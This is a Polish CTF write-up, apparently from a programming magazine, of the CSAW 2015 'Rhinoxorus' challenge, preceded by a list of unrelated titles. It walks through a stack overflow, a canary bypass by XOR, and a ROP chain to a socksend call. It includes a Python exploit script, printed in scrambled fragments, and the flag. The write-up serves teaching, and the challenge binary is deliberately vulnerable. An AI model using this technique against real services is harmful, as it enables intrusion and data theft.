CSAW CTF Qualification Round 2015 Rhinoxorus

Podobne dokumenty
Projekt PaX. Łata na jądro systemu operacyjnego Linux Strona projektu: pax.grsecurity.net

znajdowały się różne instrukcje) to tak naprawdę definicja funkcji main.

Aplikacja Sieciowa wątki po stronie klienta

Podstawy programowania. Wykład Funkcje. Krzysztof Banaś Podstawy programowania 1

Return-oriented exploiting

Analiza malware Remote Administration Tool (RAT) DarkComet

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/ / 24

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Jak wiemy, wszystkich danych nie zmieścimy w pamięci. A nawet jeśli zmieścimy, to pozostaną tam tylko do najbliższego wyłączenia zasilania.

Przepełnienie bufora i łańcuchy formatujace

Adam Kotynia, Łukasz Kowalczyk

1 Podstawy c++ w pigułce.

SYSTEMY OPERACYJNE I laboratorium 3 (Informatyka stacjonarne 2 rok, semestr zimowy)

Cel wykładu. Przedstawienie działania exploitów u podstaw na przykładzie stack overflow.

Rozpoznawanie obrazu. Teraz opiszemy jak działa robot.

Część XVII C++ Funkcje. Funkcja bezargumentowa Najprostszym przypadkiem funkcji jest jej wersja bezargumentowa. Spójrzmy na przykład.

Wskaźniki a tablice Wskaźniki i tablice są ze sobą w języku C++ ściśle związane. Aby się o tym przekonać wykonajmy cwiczenie.

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe

Architektura systemów komputerowych Laboratorium 14 Symulator SMS32 Implementacja algorytmów

Narzędzia informatyczne w językoznawstwie

Laboratorium Systemów Operacyjnych. Ćwiczenie 4. Operacje na plikach

Instrukcja do ćwiczenia P4 Analiza semantyczna i generowanie kodu Język: Ada

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów

Parę słów o przepełnieniu bufora.

002 Opcode Strony projektu:

Jak zawsze wyjdziemy od terminologii. While oznacza dopóki, podczas gdy. Pętla while jest

Programowanie w asemblerze Aspekty bezpieczeństwa

JAK DZIAŁAJĄ FUNKCJE PODZIAŁ PAMIĘCI

Przepełnienie bufora. Trochę historii Definicja problemu Mechanizm działania Przyczyny Źródła (coś do poczytania)

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Assembler w C++ Syntaksa AT&T oraz Intela

XML i nowoczesne technologie zarządzania treścią 2007/08

Tworzenie aplikacji rozproszonej w Sun RPC

Podstawy Programowania C++

Pliki. Funkcje tworzące pliki i operujące na nich opisane są w części 2 pomocy systemowej. Tworzenie i otwieranie plików:

Ćwiczenie nr 6. Programowanie mieszane

Obsługa plików. Systemy Operacyjne 2 laboratorium. Mateusz Hołenko. 25 września 2011

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Uniwersytet Zielonogórski Instytut Sterowania i Systemów Informatycznych. Ćwiczenie 3 stos Laboratorium Metod i Języków Programowania

Komunikacja za pomocą potoków. Tomasz Borzyszkowski

Sesje, ciasteczka, wyjątki. Ciasteczka w PHP. Zastosowanie cookies. Sprawdzanie obecności ciasteczka

ARP Address Resolution Protocol (RFC 826)

Instrukcja do laboratorium Systemów Operacyjnych (semestr drugi)

Łącza nienazwane(potoki) Łącza nienazwane mogą być używane tylko pomiędzy procesami ze sobą powiązanymi.

część 8 wskaźniki - podstawy Jarosław Gramacki Instytut Informatyki i Elektroniki Podstawowe pojęcia

Stos liczb całkowitych

lekcja 8a Gry komputerowe MasterMind

TCP - receive buffer (queue), send buffer (queue)

Tablice (jedno i wielowymiarowe), łańcuchy znaków

Niezwykłe tablice Poznane typy danych pozwalają przechowywać pojedyncze liczby. Dzięki tablicom zgromadzimy wiele wartości w jednym miejscu.

Opis protokołu RPC. Grzegorz Maj nr indeksu:

PARADYGMATY PROGRAMOWANIA Wykład 4

4. Funkcje. Przykłady

Wstęp do programowania INP001213Wcl rok akademicki 2017/18 semestr zimowy. Wykład 6. Karol Tarnowski A-1 p.

Nazwa implementacji: Nauka języka Python wyrażenia warunkowe. Autor: Piotr Fiorek. Opis implementacji: Poznanie wyrażeń warunkowych if elif - else.

Wstęp do programowania

1. Nagłówek funkcji: int funkcja(void); wskazuje na to, że ta funkcja. 2. Schemat blokowy przedstawia algorytm obliczania

Wyrażenie include(sciezka_do_pliku) pozwala na załadowanie (wnętrza) pliku do skryptu php. Plik ten może zawierać wszystko, co może się znaleźć w

Podstawy programowania skrót z wykładów:

Wieczorowe Studia Licencjackie Wrocław, Wykład nr 6 (w oparciu o notatki K. Lorysia, z modyfikacjami) Sito Eratostenesa

Instrukcja do ćwiczeń nr 4 typy i rodzaje zmiennych w języku C dla AVR, oraz ich deklarowanie, oraz podstawowe operatory

Ćwiczenie 4. Obsługa plików. Laboratorium Podstaw Informatyki. Kierunek Elektrotechnika. Laboratorium Podstaw Informatyki Strona 1.

Typy złożone. Struktury, pola bitowe i unie. Programowanie Proceduralne 1

ZASADY PROGRAMOWANIA KOMPUTERÓW

Biblioteka standardowa - operacje wejścia/wyjścia

Tablice i struktury. czyli złożone typy danych. Programowanie Proceduralne 1

Wskaźniki i dynamiczna alokacja pamięci. Spotkanie 4. Wskaźniki. Dynamiczna alokacja pamięci. Przykłady

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Strona główna. Strona tytułowa. Programowanie. Spis treści. Sobera Jolanta Strona 1 z 26. Powrót. Full Screen. Zamknij.

Jednym z najważniejszych zagadnień, z którym może się zetknąć twórca

Poniższe funkcje opisane są w 2 i 3 części pomocy systemowej.

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Architektura komputerów

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

Język ludzki kod maszynowy

Lekcja : Tablice + pętle

1 Podstawy c++ w pigułce.

ISO/ANSI C - funkcje. Funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje. ISO/ANSI C - funkcje

Dzisiejszy wykład. Narzędzia informatyczne w językoznawstwie. Usuwanie elementów z początku tablicy. Dodawanie elementów do początku tablic

INFORMATYKA Z MERMIDONEM. Programowanie. Moduł 5 / Notatki

6. Bezpieczeństwo przy współpracy z bazami danych

IMIĘ i NAZWISKO: Pytania i (przykładowe) Odpowiedzi

Warunek wielokrotnego wyboru switch... case

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch

Futex (Fast Userspace Mutex) Łukasz Białek

Struktury. Przykład W8_1

Kompilator języka C na procesor 8051 RC51 implementacja

Uwagi dotyczące notacji kodu! Moduły. Struktura modułu. Procedury. Opcje modułu (niektóre)

Podstawy programowania. Wykład 6 Wskaźniki. Krzysztof Banaś Podstawy programowania 1

Instrukcja do laboratorium Systemów Operacyjnych. (semestr drugi)

Wstęp do Programowania, laboratorium 02

Inicjacja tablicy jednowymiarowej

Podstawowe elementy proceduralne w C++ Program i wyjście. Zmienne i arytmetyka. Wskaźniki i tablice. Testy i pętle. Funkcje.

Odczyty 2.0 Spis treści

Ćwiczenie 3. Konwersja liczb binarnych

RPC. Zdalne wywoływanie procedur (ang. Remote Procedure Calls )

Wdrożenie modułu płatności eservice. dla systemu Gekosale 1.4

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

Transkrypt:

CSAW CTF Qualification Round 2015 Rhinoxorus CSAW CTF to najpopularniejsze na świecie zawody Capture The Flag skierowane głównie dla początkujących. Organizowane są przez studentów Instytutu Politechnicznego Uniwersytetu Nowojorskiego i są częścią corocznych dni otwartych poświęconych bezpieczeństwu informatycznemu (Cyber Security Awareness Week). Nagrodą w kwalifikacjach (współfinansowaną również przez rząd Stanów Zjednoczonych) dla 15 najlepszych zespołów studenckich (niestety tylko tych z USA bądź Kanady) jest udział, przelot i zakwaterowanie podczas finałów w Nowym Jorku. Podczas tegorocznych kwalifikacji aż 8 drużyn zdobyło maksymalną ilość punktów, w tym najlepszy polski zespół Dragon Sector. CTF CSAW CTF Qualification Round 2015 https://ctf.isis.poly.edu/ Waga CTFtime.org Liczba drużyn (z niezerową liczbą punktów) System punktacji zadań 40 (https://ctftime.org/event/227) 1367 Od 10 punktów (bardzo proste) do 600 punktów (trudne). Liczba zadań 35 Podium 1. PPP87 (Stany Zjednoczone) 6860 pkt. 2. Shellphish Sashimi (Stany Zjednoczone) 6860 pkt. 3. 1064CBread (Stany Zjednoczone) 6860 pkt. Zadanie Rhinoxorus (Exploitables 500) RHINOXORUS Opisywane przez nas zadanie było najwyżej ocenionym w kategorii Exploitables (pwn). Standardowo dostarczone przez autora zadania były: plik wykonywalny serwera oraz adres, pod którym możemy się z nim komunikować w infrastrukturze przygotowanej przez administratorów zawodów. Jako bardzo nietypowy dodatek załączony był również plik z kodem źródłowym zadania w języku C. I to właśnie od niego zaczęliśmy naszą analizę. ANALIZA KODU ŹRÓDŁOWEGO Rozpoczęcie od analizy funkcji main pozwala nam stwierdzić, że program po uruchomieniu wczytuje zawartość pliku password.txt do zmiennej globalnej i zaczyna nasłuchiwać na porcie 24242, forkując się z każdym nowym połączeniem przychodzącym. Oryginalny proces zamyka deskryptor połączenia oraz czeka na kolejne, a proces potomny obsługujący połączenie w funkcji process_connection czeka na przesłanie BUF_SIZE (stała o wartości 256) 64 / 9. 2015. (40) /

CSAW CTF QUALIFICATION ROUND 2015 RHINOXORUS bajtów od użytkownika i wywołuje pewną funkcję z tablicy globalnej spod indeksu wskazanego przez wartość pierwszego przesłanego bajtu: bytes_read = recv(sockfd, recv_buf, (unsigned int)buf_size, 0); if (bytes_read > 0) func_array[recv_buf[0]](recv_buf, (unsigned int)bytes_read); W kodzie programu najbardziej rzucają się w oczy bardzo podobne do siebie funkcje, do których wskaźniki umieszczone są w tablicy 256-elementowej, o której mowa powyżej. Te różnią się od siebie tylko identyfikatorem w nazwie i wartością będącą wielkością bufora oraz wartością początkową wszystkich jego bajtów. Poniżej jedna z tych funkcji, której indeks w tablicy to 0, identyfikator w nazwie to 0x32, a wartość początkowa to 0x84. unsigned char func_32(unsigned char *buf, unsigned int count) { unsigned int i; unsigned char localbuf[0x84]; // stała 0x84 jest różna dla // każdej funkcji w tablicy unsigned char byte=0x84; // stała 0x84 jest różna dla każdej //funkcji w tablicy memset(localbuf, byte, sizeof(localbuf)); printf("in function func_32, count is %u, bufsize is 0x84\n", count); if (0 == --count) for (i = 0; i < count; ++i) localbuf[i] ^= buf[i]; Zła wiadomość to włączona ochrona stosu (czyli tak zwane kanarki, mechanizm, który ma za zadanie wykryć nadpisanie adresu powrotu i gwałtownie zakończyć wykonanie programu w tej sytuacji), która może nam utrudnić (ale niekoniecznie uniemożliwić) przepełnienie bufora. Dobra informacja to brak zgodności pliku wykonywalnego z randomizacją adresów (tzw. ASLR, address space layout randomization), co oznacza, że symbole globalne będą miały za każdym razem taki sam adres. Rozwiązuje nam to problem uzyskania adresu bufora z hasłem (który jest zmienną globalną, więc nie znajdzie się na stosie) oraz adresów funkcji. # readelf -lw rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 grep STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 Za pomocą narzędzia readelf sprawdzamy również, czy podczas uruchomienia programu będziemy mogli umieścić kod wykonywalny bezpośrednio na stosie (tzw. shellcode), ale brak prawa do wykonania mówi nam, że będzie to niemożliwe. RAMKA STOSU ORAZ KANAREK Aby dowiedzieć się, co dokładnie będziemy nadpisywać przy wykorzystaniu przepełnienia bufora, musimy spojrzeć na ramkę stosu atakowanej funkcji (wielkość bufora jest inna w każdej funkcji, ale poza tym ramka stosu jest identyczna) func_array[localbuf[0]](localbuf+1, count); } Możemy również zauważyć, że nastąpi w niej przepełnienie bufora, jeżeli w argumencie count przekazana zostanie większa wartość od wielkości lokalnej tablicy localbuf. Następnie wywoływana jest kolejna funkcja z tablicy. Teraz wiemy, że przepełnienie może nastąpić już przy pierwszym wywołaniu tej funkcji (którą sami wybieramy pierwszym bajtem, a początkowy przekazany count będzie wynosił 256). Interesująca wydaje się również funkcja socksend, która przyjmuje: deskryptor sieciowy, adres do bufora oraz jego wielkość, a następnie wysyła zawartość tego bufora pod podany deskryptor. Co ciekawe, nie jest ona nigdzie wywoływana. Może to nam sugerować, że to właśnie wywołanie jej z argumentami pozwalającymi poznać nam hasło wczytane na początku może być jedną z dróg do wykonania zadania. Tym bardziej że w przeciwieństwie do wielu innych zadań typu pwn aplikacja sama pełni rolę serwera hostującego zadanie i nie przekierowuje domyślnych deskryptorów do przychodzącego połączenia. Znacznie utrudniłoby to zdobycie shella (powłoki systemowej) na zdalnym systemie, bo nie wystarczyłoby stworzyć odpowiedniego procesu. Postanowiliśmy podążyć za prostszym, jak nam się wydaje, rozwiązaniem: wywołaniem socksend. Potrzebne do tego będą nam: adres tablicy z hasłem, deskryptor połączenia, adres samej funkcji oraz metoda na jej wywołanie. ANALIZA PLIKU WYKONYWALNEGO Zanim zaczniemy statyczną analizę listingu z disasemblera, sprawdźmy za pomocą narzędzia hardening-check (z pakietu hardening-includes na systemach rodziny Debiana), jakie pułapki przygotował na nas kompilator: # hardening-check rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 rhinoxorus_cd2be6030fb52cbc13a48b13603b9979: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: no, only unprotected functions found! Read-only relocations: yes Immediate binding: no, not found! Rysunek 1. Ramka stosu atakowanej funkcji Stos możemy nadpisać przez przepełnienie bufora localbuf, poprzez canary, adres powrotu z funkcji, argumenty buf i counter, docierając do ramki stosu kolejnej funkcji (patrz Rysunek 1). Naszą pierwszą przeszkodą będzie canary (kanarek) bądź cookie (ciastko), który jest częścią mechanizmu buffer overflow protection. Przez większą część XX wieku górnicy zabierali do szybów kanarki, które w przypadku wycieku toksycznych gazów (najczęściej tlenku węgla) wykazywały objawy otrucia szybciej niż ludzie i dawało to sygnał / www.programistamag.pl / 65

górnikom do ucieczki. W naszym przypadku kompilator umieszcza na stosie wartość, która sprawdzana jest przed opuszczeniem funkcji. Jeżeli została nadpisana i jej wartość zmieniła się zabezpieczenie nie pozwala na dalsze kontynuowanie wykonania programu. Realizowane jest to w poniższy sposób: mov ecx, [ebp+canary] ; przeniesienie kanarka do rejestru ;ecx xor ecx, large gs:14h ; porównanie kanarka z wartością w ;pamięci pod gs:14h jz short kanarek_ok ; jeśli równy, skaczemy pod label ;kanarek_ok call stack_chk_fail ; kanarek naruszony błąd, koniec programu kanarek_ok: leave retn ; zakończenie funkcji ; wyjście z funkcji Nie mamy możliwości odczytać początkowej wartości kanarka w żaden sposób. Jak w takim razie go nadpisać, by nie zmienić jego wartości? Musimy wrócić do miejsca, w którym dokonuje się przepełnienie stosu. for (i = 0; i < count; ++i) localbuf[i] ^= buf[i]; Jak widzimy, nasz bufor nie jest tak naprawdę bezpośrednio wpisany w stos, a poddawany operacji xor z już jego istniejącą zawartością. Jest to zarówno utrudnienie (bo nie możemy ustawić dowolnej wartości, jeżeli nie znamy tej oryginalnej), jak i w tej sytuacji wybawienie, bo możemy wykorzystać oczywistą własność operacji xor: p 0 = p Jeżeli spowodujemy więc, że wartość canary będzie xorowana z zerami, to zawsze pozostanie nietknięta mechanizm obronny nie wykryje próby ataku i wykonanie pójdzie dalej. Teraz możemy już nadpisać adres powrotu, ale nie wiemy jeszcze, gdzie powinniśmy skoczyć. PRZYGOTOWANIE DO SKOKU Nasz ostateczny cel to zdobycie zawartości bufora password. W tym celu najprostszym rozwiązaniem wydaje się być wywołanie funkcji socksend w następujący sposób: socksend(fd, password, BUF_SIZE); Przy konwencji wywołania obowiązującej w x86 oznacza to, że przy wykonaniu opcode u ret szczyt stosu musi wyglądać tak jak na Rysunku 3: Rysunek 3. Docelowy wygląd skoku dla funkcji socksend Rysunek 2. Stan stosu podczas ataku Wtedy zostanie zdjęty adres funkcji socksend, wykonany skok do niego (tak właśnie działa opcode ret), następna wartość na stosie zostanie potraktowana jako adres powrotu, a reszta jako argumenty. Niestety, mamy za mało miejsca, żeby umieścić te wartości od razu zaglądając w ramkę stosu, widzimy, że tuż za adresem powrotu na stosie znaj- 66 / 9. 2015. (40) /

CSAW CTF QUALIFICATION ROUND 2015 RHINOXORUS dują się buf oraz count. Są to parametry, które jeszcze przed powrotem z naszej funkcji zostaną przekazane w wywołaniu kolejnej funkcji z tablicy. Aby szybko z niej wrócić i zatrzymać łańcuch wywołań, powinniśmy ustawić count na 1: if (0 == --count) Możemy to zrobić, ponieważ znamy pierwotną wartość jest to oczywiście wielkość wysłanego przez nas bufora. Zaraz po tym trafimy na ramkę stosu funkcji obsługującej nasze połączenie (Rysunek 4): RETURN ORIENTED PROGRAMMING Pokonanie tej odległości to nic innego jak zdjęcie odpowiedniej ilości elementów ze stosu. Nie możemy użyć w tym celu własnego kodu jak sprawdziliśmy wcześniej stos, a więc i nasz bufor, nie jest wykonywalny. Musimy zatem znaleźć fragmenty istniejącego kodu w aplikacji, które zrobią to za nas. Wtedy podmiana oryginalnego adresu powrotu z funkcji na pierwszy z tych fragmentów, z których każdy kończy się instrukcją powrotu (by móc od razu wywołać kolejny fragment), pozwoli na zupełne przekierowanie przepływu wykonania na nasz łańcuch gadżetów (tzw. ROP chain). Interesujące gadżety w naszym programie wyszukaliśmy za pomocą aplikacji rp++ (https://github.com/0vercl0k/rp): # rp -r 4 -f rhinoxorus_cd2be6030fb52cbc13a48b13603b9979 --unique (...) A total of 4328 gadgets found. You decided to keep only the unique ones, 987 unique gadgets found. 0x08056dd5: aaa ; sbb bh, bh ; dec ecx ; ret ; (1 found) 0x0804b0bb: aad 0xFF ; dec ecx ; ret ; (1 found) 0x0804ad86: aam 0x83 ; retn 0x5201 ; (4 found) 0x0804b181: aam 0xFF ; dec ecx ; ret ; (1 found) 0x08052afb: adc [ebx-0x01], ebx ; dec ecx ; ret ; (1 found) (...) Rysunek 4.Ramka stosu wywołującej funkcji Tablica recv_buf to zawartość naszego oryginalnego bufora. Jest to więc idealne miejsce, żeby to właśnie tam przygotować wywołanie socksend. Musimy jednak najpierw tam trafić. Po dokładnej analizie funkcji process_ connection wiemy, że od momentu opuszczenia naszej funkcji z tablicy dzieli nas od bufora na stosie jeszcze 8 dwordów (czyli 32 bajty). Z tej listy musimy znaleźć gadżet bądź ich kombinację, która przesunie nas jak najbliżej naszego bufora. Szczęśliwie trafiamy na taki, który sam jeden wykona całą tę robotę: zrzuci ze stosu 7 dwordów oraz skoczy pod ósmy, który jest już pierwszym elementem naszego bufora: gadget_pop: add esp, 0Ch ; pominięcie 3 elementów na stosie pop ebx ; zdjęcie elementu ze stosu (i zapisanie do ebx) pop esi ; zdjęcie elementu ze stosu (i zapisanie do esi) pop edi ; zdjęcie elementu ze stosu (i zapisanie do edi) pop ebp ; zdjęcie elementu ze stosu (i zapisanie do ebp) retn ; zdjęcie elementu ze stosu i skoczenie od niego reklama / www.programistamag.pl / 67

SKOK Idealnie byłoby teraz jako pierwszy element naszego bufora umieścić adres funkcji socksend: 0x0804884B. Zapisany w pamięci jako liczba little-endian wyglądać będzie następująco: Gdy spojrzymy jeszcze raz na kod funkcji z tablicy, przypomnimy sobie, że pierwszy bajt bufora był jednocześnie indeksem w tablicy do funkcji, która zostanie wywołana rekurencyjnie: func_array[localbuf[0]](localbuf+1, count); Zmusza nas to do wykorzystania konkretnej funkcji, ale nie stanowi to dużego problemu będziemy musieli tylko wziąć pod uwagę wielkość lokalnego bufora podczas planowania, jak ostatecznie będzie wyglądać nasz payload (wysyłany przez nas ładunek). Ostatnia niewiadoma to deskryptor naszego połączenia. W Linuksach system stara się nadawać tworzonym deskryptorom jak najmniejsze wartości. Trzy z nich: stdin, stdout oraz stderr, mają domyślnie wartości 0, 1 oraz 2. Nasz program tworzy gniazdo sieciowe, na którym czeka na połączenia przychodzące z deskryptorem o wartości 3. Za pomocą accept przyjmuje połączenie i zwrócony deskryptor otrzyma kolejną, najmniejszą dostępną wartość: 4. Następnie forkuje się. Oznacza to, że wszystkie deskryptory zostają skopiowane i przekazane do programu potomnego. Ważne jest to, że oryginalny proces zamyka od razu swoją kopię deskryptora połączenia przychodzącego. Dzięki temu deskryptor następnego połączenia znów będzie mógł otrzymać wartość 4. Jako ostatnie już wartości umieszczamy kolejno: adres powrotu z funkcji socksend (wybraliśmy funkcję exit z tabeli importów, aby program bez problemów zakończył swoje działanie): 0x08048670, wartość deskryptora: 4, adres zmiennej globalnej z hasłem: 0x0805F0C0, oraz jej wielkość: 255. Jeżeli wszystko poszło po naszej myśli, powinniśmy otrzymać teraz zawartość pliku password.txt wystarczy napisać skrypt wysyłający odpowiedni payload. SKRYPT # -*- coding: utf-8 -*- import struct, socket # deskryptor dla socksend (przewidywana wartość) + struct.pack('<i', 4) # adres zmiennej globalnej password dla socksend + password_addr # ilość bajtów do przeczytania dla socksend + struct.pack('<i', 256) # wolne miejsce na stosie (niezajęta część bufora) + placeholder * 39 # xorowane z kanarkiem + '\0\0\0\0' # puste miejsce na stosie + placeholder * 3 # podmieniamy adres powrotu na gadget_pop + gadget_pop_xor # xorowane z niepotrzebnym już argumentem z adresem bufora + placeholder # zerowanie countera + counter_xor ) # zmierzenie długości payloadu payload_length = len(get_payload(123)) # i stworzenie ostatecznego payloadu payload = get_payload(payload_length - 1) s.send(payload) print s.recv(99999) I udaje się skrypt, który napisaliśmy, zadziałał. Zdobyliśmy w ten sposób upragnioną flagę: cc21fe41b44ba70d0e6978c840698601 PODSUMOWANIE Zadanie, które tu opisaliśmy, było jednym spośród najwyżej punktowanych w tym turnieju. Kluczem do rozwiązania zadania było dokładne zrozumienie struktury ramek stosu oraz mechanizmów kontroli przepływu wykonania. Od tego momentu zadanie wykonywaliśmy niemal mechanicznie, co nie znaczy, że szybko i bezpośrednio doszliśmy do ostatecznej postaci skryptu. Pod koniec zawodów dramatycznie walczyliśmy z własnymi głupimi błędami oraz czasem. Zadanie zaczęliśmy rozwiązywać na 3 godziny przed końcem, by ostatecznie flagę uzyskać raptem na 20 minut przed zakończeniem konkursu. Ale na szczęście udało się, dzięki czemu mogliśmy podzielić się z wami naszym rozwiązaniem! Jarosław "msm" Jedynak, Mateusz "Rev" Szymaniec HOST = '54.152.37.20' PORT = 24242 s = socket.socket() s.connect((host, PORT)) # oryginalny adres powrotu na stosie first_return_addr = 0x08056AFA # placeholder na zmienne, których zawartość jest nieważna placeholder = 'xxxx' gadget_pop_xor = struct.pack('<i', 0x080578f5 ^ first_return_addr) password_addr = struct.pack('<i', 0x0805F0C0) socksend_addr = struct.pack('<i', 0x0804884B) exit_addr = struct.pack('<i', 0x08048670) def get_payload(counter): # xorujemy z 1, bo chcemy, żeby counter przyjął 1 counter_xor = struct.pack('<i', counter ^ 1) # składamy payload return ( # adres funkcji socksend (znany) socksend_addr # adres powrotu z funkcji socksend do exit + exit_addr O drużynie Rozwiązanie zadania Rhinoxorus zostało nadesłane przez p4, zespół CTF- -owy użytkowników serwisu 4programmers.net mający ambicje na drugie miejsce w Polsce (bo pierwsze już zajęte ;)). https://ctftime.org/team/5152 68 / 9. 2015. (40) /